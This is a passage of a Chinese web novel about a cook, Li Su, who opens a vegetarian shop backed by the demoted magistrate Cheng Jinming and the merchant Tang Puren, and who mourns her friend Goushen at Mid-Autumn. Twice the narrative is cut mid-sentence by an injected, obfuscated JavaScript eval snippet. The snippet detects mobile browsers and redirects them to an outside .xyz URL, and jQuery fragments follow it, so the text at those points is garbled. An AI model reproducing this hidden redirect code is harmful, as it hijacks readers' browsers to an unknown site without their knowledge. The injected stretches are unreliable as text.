“李姑娘,”这么想着,程锦明的声音放得更缓,带着一种近乎郑重的认真,“那方牌匾是我对你清白与手艺的认可,并非什么所谓的‘官家体面’,它赠予你便是你的,如何安置自然由你做主,”说罢他顿了顿,看着李素因惊讶而微微抬起的眼睛继续道:“你无需如此惶恐,我今日并非以县令身份前来查问,只是作为一个尝过你手艺、知晓你为人的……朋友,过来看看。” “朋友?”李素猛地抬眼,撞进程锦明坦然而温和的目光里,这个词从一位县令口中说出,对象是她这样一个市井摆摊的女子,让她一时难以置信,甚至有些手足无措。 程锦明看到她眼中的震惊反而轻轻笑了笑,那笑容冲淡了他眉宇间惯有的沉肃,显得真切了许多:“不错,姑娘的手艺令人叹服,姑娘的一心为民的品性更值得敬重,我程锦明交朋友不看身份门第,只看人心本事,只是不知李姑娘可愿认我这个朋友?”他的尾音放的很轻,还带着诱哄一般的商量。 李素只觉得心口被什么东西重重撞了一下,酸涩与暖意交织翻涌,惶恐如潮水般褪去,留下的是心中的震动和一丝受宠若惊的茫然。 她看着眼前这个坐在简陋条凳上、自称想和她做朋友的年轻县令,他眼中没有施舍,没有怜悯,只有一种平等的、带着欣赏的真诚。 既然如此,她李素也不是什么矫情的人,于是她深吸一口气压下翻腾的心绪努力找回自己的声音,郑重点头道:“程公子厚爱,李素愧不敢当,”她终于改了口,虽然还有些生涩,但好在那份紧绷的恭敬已悄然化开,“能与程公子为友,是李素的福分。” “好!”程锦明眼中笑意加深,似乎卸下了一副无形的担子,整个人显得更加放松,“既是朋友,那便不必再为一块牌匾如何安置纠结了,挂在何处,何时挂,都由你心意,收着也好,等有了铺子再挂也好,都行。”他话锋一转,带着几分关切,“方才听姑娘话里意思,是在寻铺面?” 李素点点头,提到这个,她眼中亮起务实的光芒:“是,攒了些钱,想租个固定的铺子,总好过在这日晒雨淋。” 程锦明沉吟片刻,手指在膝盖上轻轻敲了敲:“嗯……寻个合适的铺子确实不易,地段、大小、租金都得合适,我倒是想起一事……”他抬眼看向李素,“我有位旧友名叫唐普仁,他并非官身,却是个走南闯北、经营有道的商人,家资颇丰,为人也豪爽重义,我前些日子收到他的信,提及他在庆阳城东市口附近正好有一处不大不小的铺面空着,地段尚可,原也是做食肆的,因掌柜举家迁走,正托我寻个价格好的租客。” 李素一听“城东市口”眼睛顿时亮了:那是庆阳城数一数二的繁华地段,人流如织,若能在那开铺子…… 但旋即想到那里的租金眼神又暗了下去,那地方,恐怕不是她这点积蓄能负担得起的。 程锦明看出她的顾虑,微笑道:“唐兄为人不拘小节,且极爱美食,我曾向他提起过你的素鸭和那道‘素排骨’,他很是好奇向往,若是李姑娘有意我可代为引荐,唐兄看在我的薄面上,租金上或许能商议得公道些,如何?可愿一试?” 听了这话李素心中惊喜交加,能租到城东市口的铺子,还是做食肆的现成铺面,这机遇可遇不可求,她连忙应道:“若能得程公子引荐,李素感激不尽!只是不知这位唐先生何时方便?” “他前几日信中说已动身北上游历,算算日子,也就这两日该到庆阳了,”程锦明道:“你且安心等我消息,他到了,我立刻安排你们见面。” “多谢程公子!”李素深深一福,这次是真心实意的感激。 两日后,程锦明果然派人传信,约李素午后在县衙附近一处清雅的茶楼雅间相见。 李素特意换上了一身浆洗得干净整洁的细布衣裳,虽不华贵却也显得精神利落,她到了茶楼由伙计引着上了二楼雅间,推门进去时,发现程锦明竟已到了,正与一位男子对坐饮茶。 那男子约莫四十许年纪,身材微胖,面庞圆润,未语先带三分笑,穿着一身低调却质地精良的锦缎袍子,腰间系着一条嵌着温润白玉的腰带,身上不说,拇指又戴着一个水头极好的翡翠扳指。 他虽坐着,却也能看出身形颇高气度沉稳,眼神精明却不锐利,透着一股走南闯北的圆融世故,这气质,李素用脚趾头都能想出来此人肯定就是那位唐普仁。 “唐兄,这位便是我向你提起的李素李姑娘,”程锦明笑着介绍,“李姑娘,这位便是我的好友,唐普仁唐先生。” “唐先生,”李素上前,依礼微微屈身。 “哎呀,李姑娘不必多礼!”唐普仁声音洪亮,带着岭南口音的官话,透着股爽快劲儿,他站起身笑着虚扶了一下,目光却是上下打量着李素,带着毫不掩饰的好奇和审视,却并不让人感到冒犯。 “程老弟在信里可把你夸得天上有地下无的,说你做的素鸭比真鸭还香,还有什么‘素排骨’,听得我心痒难耐!今日可算见到真人了!果然看着就是利落能干的样子!” 李素被他直白的夸赞弄得有些不好意思,忙道:“唐先生过奖了,不过是些糊口的小手艺。” “坐,坐,坐下说话。”唐普仁热情地招呼着,亲自给李素倒了杯茶。 寒暄几句后,话题自然转到了铺面上。 “听程老弟说,李姑娘想寻个铺子?”唐普仁开门见山。 “是,承蒙程公子引荐,听说唐先生在城东市口有处空铺?”李素答道。 “不错,”唐普仁点点头,随即从袖中取出一张折好的纸摊在桌上,李素伸头一看,竟是一张简单的铺面草图,“喏,就这儿,前店后灶带个小院,地方不大但胜在位置好,就在市口拐角,人流旺得很,以前是个小面馆,桌椅板凳、锅灶都是现成的,收拾收拾就能用。” 李素看着草图,位置确实极佳,心不由得砰砰跳起来,但想到租金,她又谨慎地问道:“不知唐先生这铺子……租金几何?” 唐普仁端起茶杯,慢悠悠地呷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995017|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口,却没有立刻回答,反而笑眯眯地看着李素长声道:“李姑娘,租金嘛……好说,老唐我走南闯北见过的人不少,既是程老弟看重的朋友,品性手艺定然是没得挑,他信里把你那素鸭和素排骨说得神乎其神,可把我馋虫勾起来了,这样吧,”他放下茶杯,身体微微前倾,目光炯炯地看着李素,“铺子,我可以不收你租金,甚至白送你。” “什么?”李素以为自己听错了,她惊愕地看向唐普仁,又下意识地看向程锦明。 程锦明也微微挑眉,显然唐普仁这决定并未提前与他通气。 “唐先生?这,这如何使得?”李素回头连忙摆手。 笑话,这么好的一个铺子,租金就已经很贵了,买下来岂不是得个好几千两银子,这人情哪是她能还得起的。 “哎,别急,听我说完,”看出她的犹豫,唐普仁摆摆手,脸上的笑容更深了,带着商贾特有的精明,“不收租金,但铺子也不是白给你用的。” 他顿了顿,看着李素认真道:“这铺子,连同里面现有的家伙事儿,得算我唐普仁入股,我占三成股,李姑娘你以手艺和经营入股,占七成!以后这铺子赚的钱你七我三,赔了就算我的本钱打水漂,绝不找你麻烦!如何?” 这提议大大出乎李素的意料,唐普仁的话像洪水一样冲进李素的脑袋—— 免费使用铺子?以铺子入股?只占三成?赔了算他的? 这条件简直优厚得如同天上掉馅饼! “唐先生,这太……”李素一时不知该如何回应,巨大的惊喜和难以置信让她有些语塞,她看向程锦明,眼中带着询问和一丝求助。 程锦明也颇为意外,但他了解唐普仁的为人,此人看似豪爽实则眼光毒辣,从不做亏本买卖,他沉吟道:“唐兄,你这手笔可不小啊。” 唐普仁看着两人的反应反而哈哈一笑:“老弟,你还不了解我?我看人看事只讲究个‘值得’二字,你如此推崇李姑娘的手艺,我就信你的眼光!再者,”他转向李素,眼神锐利了几分,“李姑娘,我在岭南、江南、京城都有生意,酒楼食肆也投了几家,你那素鸭和素排骨听着就新鲜!庆阳这地方,乃至整个北地,专做精致素食的铺子凤毛麟角,这是个空子,是个商机!我看好这门生意的前景!” 他身体往后一靠恢复了那副豪商气派:“反正铺子空着也是空着,租给别人收那点死租金能有几个钱?不如投给李姑娘你!我看中的是你的手艺,更是这门独一份的生意!咱们合伙,你只管用心做你的菜,把铺子经营好,打响名头!铺面、最初的修缮、甚至日后需要添置大件家伙什的本钱,都由我出!你就当我是你的第一个大主顾、大东家!咱们一起把这招牌庆阳这小地方做出去!说不定哪天还能开到京城去呢!” 唐普仁一番话说得掷地有声,李素也明白了,他看中的不是眼前的小利,而是李素手艺所代表的独特性和潜在的市场价值,以及程锦明背书所带来的无形保障。 这是一种基于商业嗅觉和信任的投资。 李素的心剧烈地跳动着,唐普仁描绘的前景是她从未敢想过的,免费得到城东市口的好铺面,还有大商人出资支持,自己只需专注于手艺和经营,就能占七成的大头……这简直是梦寐以求的机会! 然而巨大的诱惑之下,李素骨子里的谨慎和自尊并未消失,她深吸一口气强迫自己冷静下来,看向唐普仁认真地问道:“唐先生厚爱,李素感激不尽,只是先生如此厚待我心中实在难安,不知先生除了这三成股,对铺子的经营……可还有什么要求?比如菜式定价、采买用料、或是……要安插人手?” 这是关键,她必须问清楚,她不想日后因为经营理念不合反而坏了这份难得的机遇,更辜负了程锦明的引荐之情。 唐普仁眼中闪过一丝赞许,这姑娘如此惊喜之下还能保持清醒问出关键,不错。 “李姑娘放心!”于是他大手一挥给李素吃了一颗定心丸,“我唐普仁做生意,讲究疑人不用用人不疑,铺子日常经营全权由李姑娘做主,菜式怎么定,价怎么开,伙计怎么招,采买如何做,我一概不插手,我只管两件事:第一,年底看账按股分钱,第二嘛……”他嘿嘿一笑,露出几分馋相,“你得让我这股东随时能吃到最新鲜、最好吃的素鸭和素排骨!要是能再琢磨几道新奇的岭南口味就更好了!” 这最后一句半是玩笑半是真意,但也清晰地划定了界限——他只要结果,不干涉过程。 李素听罢悬着的心也终于落回了实处,她疑虑尽消,随之而来的便是巨大的喜悦和前所未有的豪情涌上心头。 于是她站起身,对着唐普仁,也对着程锦明郑重地行了一礼: “唐先生如此信任,程公子引荐之恩,李素铭记于心!承蒙唐先生看得起,这合伙之事我应下了!定当竭尽全力,不负二位所托!” “李姑娘言重了,”程锦明赶紧起身把李素扶起来,“我只是在其中起一个牵线搭桥的作用,真让唐兄青睐的还是李姑娘的本事。” 李素顺着程锦明的力道起身,却发现程锦明看着她的眼神更加的温和了,“只是期待姑娘日后能不忘本心,别丢了当日你我二人初见的豪情。” 李素抿着嘴唇点点头,脑子里难免浮现出狗剩的脸,她将那股泛上心头的酸涩压下去郑重的抬头同程锦明对上眼神,“不会的,”她听自己这么说:“一定不会的。” 7. 中秋 九月初时新铺子才终于落定,悬在“李娘子素斋”门楣上的簇新匾额迎着尚带暑气的秋风被晒得微微发烫,“素心天成”的匾额被挂在正堂,房檐下悬起两盏带穗的大红灯笼,风一过穗子便活泼泼地晃荡,是新生的气象。 李素站在门前石阶上望着这方倾注了她全部心血与积蓄的崭新天地,心头那根绷了许久的弦才稍稍松弛下来,然而这份松弛并未持续太久,一丝沉甸甸的东西又悄然压了上来—— 中秋快到了。 佳节愈近那股压在心底的沉滞感便愈发清晰,像一块浸透了水的旧布捂在胸口闷得人喘不过气。 街上行人步履匆匆,脸上带着采买的兴奋,空气中浮动着甜腻的桂花香、新出炉的月饼香,还有小贩吆喝声、孩童追逐嬉闹声织成的喧闹。 然而这些声音热热闹闹地涌过来,却在触及李素耳膜时奇异地消减了温度,只留下一种隔膜的喧嚣,她穿过这鼎沸的人间烟火,脚步犹疑地拐向了城西那条通往城外山岗的小径。 山风带着初秋的凉意卷起地上的落叶,打着旋儿掠过李素的裙角,风里裹挟着远处市集的嘈杂余韵,更衬得这条通向山岗的小路格外清冷寂静。 李素臂弯里挎着竹篮,沉甸甸的,里面赫然是几样备好的祭品:一碟油亮喷香的素鸭,一包切得方方正正、肥瘦相间的酱肉,几个新蒸好的白面馒头,还有一小坛清冽的米酒,篮子边缘探出几支刚在路边折下的野菊花,小小的黄色花瓣在风中瑟瑟地抖着,沾着细微的尘土。 她一步步走着,脚下的碎石在寂静中发出单调的轻响,越往上走那市声便越模糊,最终被山林的风声和偶尔几声不知名鸟雀的啁啾取代,阳光透过疏朗的枝叶在地上投下斑驳晃动的光斑,这熟悉的路径,每一步都像是在丈量着过去。 终于,她停在了一处小小的土包前。 坟茔低矮,充当墓碑的石头上只有个刻痕轻浅的名字:狗剩。 旁边几蓬深绿的野草和几丛不知名的荆棘顽强地生长着,显出几分荒凉与倔强的生机。 李素放下篮子,却没有立刻去清理那些杂草荆棘,她只是静静地站着,目光长久地停留在那简陋的石碑上,山风拂过她的鬓发带来一阵凉意。 而后她慢慢地蹲下身伸出手,指尖轻轻拂去石碑顶端堆积的落叶和浮尘,当她指尖触到那粗糙冰凉的石头表面,一种晦涩的钝痛便沿着指尖蔓延开来,丝丝缕缕缠绕住心口。 “狗剩……”她低低唤了一声,声音干涩,出口便被山风吹散,轻得几乎听不见。 她从竹篮里将祭品一样样取出,摆在坟前那块还算平整的青石板上,油亮的素鸭,酱色的肉块,雪白的馒头依次排开,最后,她拔开酒坛的软木塞将那清冽的米酒缓缓倾注在坟前的土地上,酒液迅速渗入干燥的泥土,只留下深色的、不规则的湿痕,散发出一股清冽微辛的气息很快又被山风吹淡。 “新铺子开起来了,”她对着石碑,声音不高,却一字一句清晰地说道,“比原来那个宽敞,也亮堂。” 她顿了顿,手指无意识地捻着衣角,那粗布的纹理摩擦着指腹,一阵更强劲的山风掠过,吹得坟头的野草和荆棘簌簌作响,也卷起了地上的几片枯叶打着旋儿飞远了。 “上回没来瞧你,”她的声音低了下去,带着一种不易察觉的艰涩,“那时实在抽不开身,铺子盘账、搬家、寻新地方……乱糟糟一团麻,但我心里是惦记着的。” 山风呜呜地吹过林梢,像是某种呜咽的回应,她不再说话,只是沉默地看着石碑上那模糊的名字,看着那几支在风中颤抖的野菊,看着祭品上方盘旋不去、最终落在素鸭上的几只小飞虫,阳光斜斜地照过来,在她脚边拉出一道长长的、孤寂的影子,时间在山风的低吟和草木的轻响中缓缓流淌,一种深沉的、无言的哀思弥漫在小小的坟茔四周,沉重得如同这秋日的山岗本身。 良久,她抬起手用袖子用力地按了按眼角,再开口时声音已尽力恢复了平静,却依旧带着一丝不易察觉的沙哑:“好了,我得走了,铺子里还有一堆事儿,你好好的……” 她最后看了一眼那小小的坟茔,目光掠过石碑、祭品、荒草,仿佛要将这一切刻进心底,然后她慢慢转过身挎起那只已经空了的竹篮,沿着来时的路一步一步向山下走去,山风吹起她素色的衣袂,背影在秋日疏朗的光线下,显得单薄而坚韧。 身后的山岗,野菊在风中轻轻摇曳,素鸭上的油光在阳光下寂寞地闪动。 中秋的脚步踩着市集的喧嚣一日紧似一日地逼近,天刚蒙蒙亮城里那条最宽敞的主街便已人声鼎沸,成了沸腾的旋涡中心。 李素穿行在这片鼎沸的人间烟火里,篮子在臂弯里渐渐沉重起来,新铺开张,头一个像样的节令她可万万不敢怠慢,细白瓷盘里码得整整齐齐的苏式月饼,油润的酥皮层层叠叠,透出里面深色的枣泥或豆沙馅料,香甜的气息直往人鼻子里钻,旁边摊子上,油亮饱满的板栗在铁锅里哗啦啦翻动,裹着黑亮的砂砾,焦糖的甜香霸道地弥漫开来,小贩们中气十足的吆喝此起彼伏,穿透嘈杂的人声: “新到的太湖菱角,水灵脆甜——” “走一走看一看,上好的火腿,中秋添道硬菜嘞!” “桂花酒,甜香的桂花酒,吴刚捧出桂花酒喽——” 李素在一家老字号的酱菜铺子前停下,细细挑了几样爽口的酱瓜、脆生生的乳黄瓜,想了想又舍钱割了条上好的五花肉,用油纸包了沉甸甸地压在篮底。 付钱时,她眼风不经意地扫过街对面那家专卖文房四宝的“翰墨轩”,不看不要紧,一看李素动作一顿,只见一个颀长清瘦的身影正立在“翰墨轩”略显冷清的廊檐下,与周遭汹涌的节庆洪流格格不入。 这背影看的越发的眼熟,李素眯着眼睛凑近细看,发现这人不是程锦明嘛—— 他今日穿着一件半旧的靛青直裰,秋风吹得他广袖微鼓,更衬得身形有些萧索,他就这么站在这却并未进店,只是微仰着头将目光落在铺面门楣那块黑底金字的招牌上,又似乎只是穿透了那牌匾望向了更渺远虚空的某处。 阳光斜斜地照在他半边脸上勾勒出清癯的轮廓和紧抿的薄唇,他手里空空只随意垂在身侧,整个人像一株被遗忘在喧嚣边缘的修竹,沉静,却也透着一股挥之不去的孤寂。 李素心头微微一动,在这满街奔涌的团圆热望里,他这形单影只的模样无端地戳中了李素心底某个柔软的角落,于是几乎是未经深思的,她付了钱就拎起沉甸甸的篮子径直穿过摩肩接踵的人流,走到了“翰墨轩”的廊檐下。 “程大人,”她唤了一声,声音不高,却清晰地穿透了身旁的嘈杂。 程锦明似从某种深远的思绪中被惊醒,微微一怔,随即转过头来,看见是李素,他眼底掠过一丝讶异,随即那惯常的温和便迅速覆盖了方才那一闪而过的怔忡与孤清。 他微微颔首,唇角牵起一个得体的浅笑:“李姑娘,采买节货?”他的目光落在她臂弯里那个塞得满满当当、几乎要溢出来的竹篮上。 “是啊,新铺头一回正经过中秋,总得备得齐全些。”李素笑了笑,目光坦然地迎向他,“看大人也在此,可是要添置些笔墨?” 程锦明顺着她的目光回头瞥了一眼翰墨轩琳琅满目的柜台,随即轻轻摇头,那点浅淡的笑意里染上一丝微不可查的自嘲:“不过随意走走,看看罢了,佳节当前满目琳琅,倒显得我这闲人无所事事了。” “大人说哪里话。”李素顿了顿,山风吹过耳边,带来一丝凉意,也似乎吹散了心头那点犹豫,她看着眼前这张清俊却难掩落寞的脸,那句在喉咙口盘旋的话终于清晰地吐了出来:“程大人……若不嫌弃,今日中秋不如晚间到小店来一起用个便饭?新铺简陋,但总归热闹些,”话一出口,她自己倒先微怔了一下,似乎没料到这邀请会如此顺畅地脱口而出。 程锦明显然也愣住了,他望着李素,那双深邃的眸子里清晰地映出她的身影,以及她脸上那份纯粹的不掺假的邀请。一丝真实的、带着温度的情绪极快地掠过他眼底,将那层温和却疏离的薄冰悄然融化了一角,他沉默了片刻,那短暂的静默里,只有街市的喧闹在两人之间流淌。 最终,他唇角的弧度加深了些,不再是那种客套的浅笑,而是一种带着点释然和暖意的回应。 “李掌柜盛情,”他微微欠身,声音沉静而温和,“锦明却之不恭了。” 暮色四合,最后一抹瑰丽的霞光沉入西边的屋脊,将天空让给了澄澈的靛蓝,一轮饱满丰盈的银盘便在这深邃的蓝丝绒上冉冉升起,清辉瞬间洒满了新铺子的小院。院中那株老桂树正开得繁盛,细碎的金黄花朵密密匝匝缀满枝头,浓郁的甜香乘着微凉的晚风,丝丝缕缕,无孔不入地弥漫在空气里,几乎成了触手可及的实体。 李素在院中支起了一张小方桌,桌上几碟家常小菜冒着袅袅的热气:清蒸的鲈鱼淋着葱油,翠绿的小炒时蔬油亮生鲜,切成薄片的酱肉码得整整齐齐,红润诱人,最显眼的是那盘切开的苏式月饼,酥皮层层分明,露出里面深红油亮的枣泥馅,两只白瓷酒盅,一壶温在热水里的桂花酿,散发出混合着米香与花香的醉人气息,清冷的月光洒在杯盘碗碟上,镀上一层柔和的银边。 程锦明则是借口赴约换了一身略新些的靛蓝长衫,衬得人愈发挺拔清朗,当他踏入这方被月光与桂香浸透的小天地,眼中流露出毫不掩饰的欣赏,程锦明对着忙碌的李素温声道:“李姑娘好雅致,这花香月影的便是最好的佐餐之物了。” “大人说笑了,不过是借了老天爷的光,”李素笑着引他入座,替他斟满一杯桂花酿,琥珀色的酒液在杯中轻晃,映着天上地下的两轮明月,碎光粼粼。 起初席间多是些寻常寒暄,程锦明赞了几句新铺的敞亮与地段,李素则客气地感谢他当初相赠的文竹,话题绕着城里的风物、节令的吃食打转,气氛温和而稍显拘谨,一顿饭吃的点到即止,直到最后程锦明又倒了杯温热的桂花酿下肚,那馥郁的甜香似乎才融化了初时的几分客气,他清俊的脸上浮起淡淡的红晕,眼神也较平日更为清亮柔和。 “李姑娘这铺子算是立住了脚跟了,”程锦明端起酒杯,指尖摩挲着温润的杯壁,目光望向院中那轮皓月,语气里带着真切的赞许,“在这地界一个女子独自操持,能有今日气象实在不易。” “大人过誉了,”李素也抿了一口酒,微甜带涩的液体滑入喉间,暖意散开,“不过是讨个生活,糊口罢了,比起大人……”她话锋微顿,似在斟酌措辞,“大人见识广博,想必是见过大世面的。” 这试探轻巧而自然,程锦明闻言,执杯的手指几不可察地微微一顿,他抬眼看向李素,月光下,她的面容沉静,眼神里并无探究,只有一种平和的等待,他沉默了片刻,唇边那点惯常的笑意淡了下去,眼底深处似乎有某种沉潜已久的东西,被这月色、这桂香、这恰到好处的暖酒,轻轻撬动了一丝缝隙。 “大世面么……”他低低重复了一句,声音里带上了一丝难以言喻的复杂意味,他抬手将杯中残酒一饮而尽,那动作里带着点决然,放下酒杯时,指尖在冰凉的桌面轻轻敲了一下,发出极轻的笃声。 “李姑娘心思剔透,”他忽然开口,目光不再看月,而是直直地投向李素,那眼神里褪去了平日的温润,显出几分锐利和坦荡,“想必也猜过一二,我……并非此间常客。” 李素迎着他的目光没有回避,只是轻轻点了点头,算是默认,她拿起酒壶默默地为他重新斟满。 夜风拂过,桂花簌簌落下几朵,落在桌上,落在衣襟上,甜香更浓。程锦明满脸醉意地看着杯中再次盈满的琥珀色酒液,仿佛那里面映照的不是月影,而是去岁那场倾覆天地的暴雨洪涛。 “去岁仲夏,岭南......”他的声音低沉下去,带着一种被深埋后重新翻搅出来的沙哑,每一个字都像是从记忆的泥淖里艰难拔出,“暴雨连月,江河倒灌,千里膏腴一夜成泽国,浮尸蔽江而下,”他闭了闭眼,似乎要驱散眼前那惨绝人寰的景象,再睁开时,眼底却已是一片沉痛的赤红,他的手指无意识地攥紧了酒杯,指节因用力而泛白,李素看着他屏住了呼吸,只觉得那“浮尸蔽江”四个字带着浓重的血腥与绝望,沉沉地压在了这月下的小院里,连桂香都染上了几分悲凉。 “灾报入京,满朝皆惊,”程锦明接着道,声音里透出寒意,“然而惊过之后呢?户部哭穷,说库银空虚,工部推诿,说天灾人力难挽,更有甚者,”他冷笑一声,“私底下窃喜道此乃天赐良机,正可趁势清理那些‘无谓的冗员’,视万千黎庶性命如草芥!” 他猛地仰头,又将杯中酒狠狠灌下,冰凉的液体滑过喉咙,却像点燃了一把火,他重重地将空杯顿在桌上,发出“啪”的一声脆响。 “我时任工部都水清吏司主事,专司河工水利,”他盯着那空杯,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995018|178134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不复从前的温和,而是仿佛在盯着某个看不见的仇雠一样恨恨道:“彼时我手中握着一份详实的查勘文书,那场水患天灾固重,但人祸尤烈!堤坝年久失修形同虚设,河工银两层层盘剥,十不足三到了工料上,而那些地方官员又只知粉饰太平邀功请赏,何曾真正巡防过险工弱段?那溃决之处薄如纸糊,如何经得起滔天洪水!” 积压了一年的愤懑与屈辱如同开闸的洪水,在这中秋月夜对着一个萍水相逢却莫名能让他放下心防的女子汹涌地倾泻而出。 “我上了折子,”于是他声音陡然拔高,“将那些蠹虫一一揭露!我请朝廷严查贪墨,重筑堤防,拨款赈济,安置流民!我……”他猛地吸了一口气,声音却骤然低沉下去,带着一种巨大的疲惫和自嘲,“我以为仗义执言,为民请命乃臣子本分,纵使触怒权贵亦当死得其所。” 他不再看李素,而是将目光投向虚空中的某一点,那眼神空洞而苍凉,“可折子递上去却石沉大海,反倒几日后,一道旨意就下来了,”他扯了扯嘴角,那笑容比哭还难看,程锦明晃着脑袋学着那不成调的语气:“工部都水清吏司主事程锦明,妄议国政,沽名钓誉,着即革职,外放庆阳县令,限三日内离京赴任。” 他缓缓抬起眼再次看向李素,那眼神里没有了愤怒,只剩下一种看透世情的苍茫与一丝孤绝的坚持:“李姑娘,你看,这便是直言进谏的下场。” 小院里一片死寂,只有风吹过桂树叶子的沙沙声,以及远处隐隐约约、模糊不清的市井喧嚣,那轮圆月依旧高悬,清辉朗朗,却再也照不进方才那片刻的宁馨,桌上那盘切开的枣泥月饼,深红的馅料在月光下如同凝固的血块。 李素的目光落在程锦明紧握成拳、微微颤抖的手上,又移向桌角那盘几乎未动、早已凉透的素鸭——那是她特意留出来的一份念想。 “程大人……”李素的声音很轻,带着一种安抚人心的温和打破了这沉重的静默,她没有说那些空洞的安慰话语,只是拿起温在热水里的酒壶,稳稳地为他重新斟满那杯空了的酒盅,琥珀色的酒液注入杯中映着月光,也映着他眼中尚未平息的波澜。 “所以大人来了此地?”她问道,语气平静,仿佛只是在确认一个寻常的事实。 程锦明看着杯中再次盈满的酒,那温热的液体似乎也暖了他冰冷的指尖,他端起酒杯,这次没有立刻饮下,只是握在掌心汲取着那点暖意,程锦明点了点头道:“是,倒也……清净,”他自嘲地牵了牵嘴角。 “那大人日后有何打算?”李素的目光落在他脸上,带着一种温和的探询。 “打算?”程锦明重复着这两个字,眼神却骤然锐利起来,方才的颓唐与苍凉瞬间被一种近乎燃烧的执着取代,他放下酒杯,身体微微前倾,声音不高,却字字清晰地砸在这小小的院落里: “水患,当然是水患。” 他眼中跳跃着光,:“岭南水道盘根错节,水害频繁非止一朝一夕,根源在无序,在失治,在于只知堵,不知疏,更在于……”他眼中闪过一丝深刻的痛恨,“那些盘踞河道上下,吸食民脂民膏的蠹虫。” 话音落下,小院里一片寂静,只有他略显急促的呼吸声,还有那满树桂花被夜风吹落的簌簌轻响,月光清冷地照着他因激动而微微发红的脸颊和那双燃烧着执着火焰的眼睛。 李素静静地坐在桌边,手中还握着那只温酒的小壶,她没有说话,只是望着月光下这个茕茕孑立、却仿佛顶天立地的身影,他口中的滔天洪水、蔽江浮尸,他眼中的愤恨与孤绝,还有此刻这焚心蚀骨般的誓言……像汹涌的潮水,猛烈地冲击着她心中那座名为“狗剩”的孤岛。 那岛上的思念与哀伤依旧沉甸甸地存在着,但此刻,似乎被这更宏大的苦难与更坚韧的抗争,映照出了不同的轮廓。 桂影婆娑,清辉满院,那甜香与酒气交织着弥漫在两人之间,沉默而厚重,一种无需言语的懂得,一种同是天涯沦落人的相惜,在这月圆人难圆的中秋夜悄然滋生,比这满院的桂香更加清晰,更加深入肺腑,夜风吹过,卷起几片金黄的桂花,打着旋儿,轻轻落在石台的素鸭上,落在李素的肩头,也落在程锦明微凉的衣襟上。 月轮悄然西移,清辉越发澄澈如水,将小院里的桌椅、桂树的枝桠都投射出清晰的、拉长的影子。桌上的杯盘早已冷透,唯有那壶桂花酿,在温水中还残留着最后一丝暖意,喧嚣散尽,更深露重,桂香似乎也沉静下来,带着凉夜的清冽。 程锦明眼中的灼灼火焰,在那一番剖白心迹后,渐渐沉淀为一种深潭般的沉静,他的脸上带着宣泄后的淡淡疲惫,以及一种奇异的松弛,两人之间那层无形的名为“客气”的薄纱已在方才的惊涛骇浪中被彻底撕碎,此刻的静默不再尴尬,反而流淌着一种无需赘言的安然。 “夜深了,大人路上小心,”李素轻声开口打破了这舒适的寂静,她起身从屋内取出一盏小巧的羊角风灯,细心地用火石点燃,暖黄的光晕立刻驱散了脚下方寸之地的黑暗,也柔和了她沉静的面容。 “多谢李姑娘,”程锦明也站起身接过那盏带着她指尖余温的风灯,灯光映亮了他清俊的侧脸,也照亮了他眼底尚未完全褪去的血丝,“今夜叨扰了,”他微微欠身,语气诚挚。 “大人言重,”李素将他送至新铺子虚掩的后门处,月光从门缝里漏进来在地上拉出一道银线,“大人心怀黎庶,志在治水,是这庆阳百姓之福,若有我能帮衬之处,大人只管开口,”她的话语很轻,却字字清晰,带着一种令人安心的力量。 程锦明听闻在门口停下脚步转过身来,风灯的光在他眼中跳跃了一下,他看着李素在月光下显得格外沉静坚毅的脸庞,唇边缓缓绽开一个极淡、却无比真实的笑容。 “李姑娘……”他顿了顿,千言万语似乎都凝在了喉间,最终只化作一句沉甸甸的“多谢,”他深深地看了她一眼,然后,程锦明不再多言,他提着那盏小小的风灯转身迈出了门槛,颀长的身影很快融入门外被月光浸透的小巷深处。 李素站在门边,她望着那一点昏黄的灯光在小巷的青石板路上摇曳着渐行渐远,最终拐过一个弯角彻底消失不见,只有那清冷的月光依旧无声地洒满空寂的巷子。 她随即轻轻掩上门扉将门闩落下转身回了小院,月光毫无遮拦地倾泻下来,满院的清辉亮如白昼,月光如水般流淌在她身前,将她的影子长长地拖在地上—— 孤单却笔直。 8. 平旗 庆阳县的秋意一日深过一日,西风卷着落叶在青石板上打着旋儿,呜呜咽咽从街头飘到街尾。 溢香楼那大门如今开合间也带上了几分萧瑟的滞涩声响,昔日车水马龙、迎来送往的喧嚣如同退潮的海水,只留下满地的狼藉——那是自从散客们转向城东“李娘子素斋”后再也聚拢不回来的人气儿。 朱平旗缩在二楼临窗的雅座里一杯接一杯地灌着闷酒,楼下大堂稀稀拉拉坐着两三桌客人,跑堂的伙计柱子正背对着楼梯口有一搭没一搭地用抹布擦着一张早已光可鉴人的桌子,眼神却黏在窗外街角一个卖糖人的担子上,另一个伙计干脆靠着柱子打起了盹,脑袋一点一点,涎水都快流到衣襟上。 “柱子!”朱平旗终于忍不住,猛地一拍窗棂,声音尖利得破了音,“死了吗?没看见六号桌要添茶?!” 柱子一个激灵,手里的抹布差点掉地上,忙不迭地慌慌张张提起茶壶小跑过去,然而脚步却拖沓,脸上都没什么惶恐,反倒透着点“又来了”的不耐烦。 朱平旗只觉得一股邪火直冲天灵盖,搁在以前叔父朱永贵在时这些下贱胚子谁敢如此懈怠?那朱掌柜一个眼神过去腿肚子都得打颤。 